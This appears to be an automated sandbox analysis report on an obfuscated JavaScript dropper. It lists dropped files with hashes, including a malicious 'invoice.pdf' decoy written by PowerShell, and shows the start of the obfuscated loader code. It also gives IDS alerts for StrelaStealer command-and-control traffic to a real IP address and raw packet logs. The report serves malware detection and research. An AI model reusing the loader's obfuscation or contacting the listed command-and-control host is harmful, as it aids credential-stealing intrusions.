Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5d2d8ceb-b100-46aa-9082-f99794c098ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ae665c2f-dd47-47cc-b35c-eb98d0834a1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLkwZGuGZQ3mlind9i4ufFXpAXkrj
MD5:	2D4DA5B678BE6C3AF996983E376D6500
SHA1:	DBD00242EF5E9D1C4B27F5ED04A31E15DEE01FE5
SHA-256:	D28E9D0E9E9B8CC0085DA0A6252D1B11434834486624E3B960D15A2A68518186
SHA-512:	645B0C0872448E3B64807AABC287C11D97C1B63FA4FDAB7664793961A192B928C0650C7E62C452F007963446C209BD8172A242791740DFF85C03C95A4661F016
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\caab9e41-87b1-4803-98ac-cc733c3e32dc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fd0b2326-25b8-4942-91fe-717d359103a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16920), with CRLF line terminators
Entropy (8bit):	4.927534534524456
TrID:
File name:	4623256121503424814.js
File size:	20'464 bytes
MD5:	cb326ce977aa89727048770e4aa5f300
SHA1:	71d64f180882985a67de99891e8f024cc35ab0e5
SHA256:	4d9922dfed80dd120453f158f9d2bf77524e5885fd688af71826e76db6321f90
SHA512:	3f8969f0eaea32941f2f3c5fcf1fbc54186b14960caebf35806be42c6fd6a28e7197e65e5e08ef87d6349371f0c2fb91f075fb7d72b0507596dd2ec85cdd6c2e
SSDEEP:	192:pJ0F/yu0gV9CpbpUfYT/ZD6gcWGSawUV6WYKPtWfThqEcx3HyZFiHs6araC+xaRn:DCVkSOZD6tWswHwEuyZQs6araCQaRn
TLSH:	059275864441D74EB1E05CF9650B046EBC3DC59D9D804BEAAC8239F61713BF92BCA2B7
File Content Preview:	function qlzabkxit(){wuoheor=[1031,3079,5127,4103,2055,3072];var yqhalrqml=this[kehdhmqr+himmhhqy+dpnlzapjl+gicygagwk+higddsxt+gvtqnkvu+sfazw+pbbyigxx](this[pcwndyw+gydgo+rewwi+dpnlzapjl+delmtoi+kehdhmqr+pbbyigxx][otbwrlv+dpnlzapjl+higddsxt+himmhhqy+pbbyi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:55:39.376514+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49772	193.143.1.205	80	TCP
2025-01-11T01:55:39.376514+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49772	193.143.1.205	80	TCP
2025-01-11T01:55:41.724055+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49788	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:55:38.571305990 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:38.576199055 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:38.576298952 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:38.579422951 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:38.584141970 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376279116 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376322985 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376357079 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376390934 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376441002 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376496077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376513958 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.376513958 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.376528025 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376549959 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.376562119 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376594067 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376609087 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.376626968 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.376671076 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.419478893 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.419512987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.419611931 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.419619083 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.474123955 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.500626087 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500660896 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500694990 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500730038 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.500747919 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500797987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500830889 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500864983 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.500942945 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.500942945 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.501539946 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.501661062 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.501688957 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.501715899 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.501745939 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.501930952 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.501964092 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.501997948 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502029896 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502044916 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.502075911 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.502599001 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502631903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502665043 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502681017 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.502697945 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502732992 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.502785921 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.510497093 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.510531902 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.510564089 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.510597944 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.510618925 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.511070013 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.511100054 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.511132002 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.511162996 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.511166096 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.514245987 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.588383913 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.588423967 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.588618040 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.592274904 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.592305899 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.592387915 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.625273943 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625312090 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625345945 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625379086 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625411034 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.625428915 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625462055 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625483036 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.625495911 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625514984 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.625529051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.625709057 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.626065016 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626112938 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626149893 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626163960 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.626187086 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626224041 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626272917 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.626626968 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626642942 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626657009 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626672029 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626686096 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.626687050 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.626738071 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.626739025 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.627096891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627108097 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627126932 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627137899 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627151012 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627157927 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.627161980 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627175093 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.627177000 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.627194881 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.628000975 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628052950 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.628079891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628091097 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628103018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628113031 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628124952 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628139019 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.628143072 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.628164053 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.628196001 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.629002094 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629014015 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629025936 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629036903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629046917 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629056931 CET	49772	80	192.168.2.9	193.143.1.205
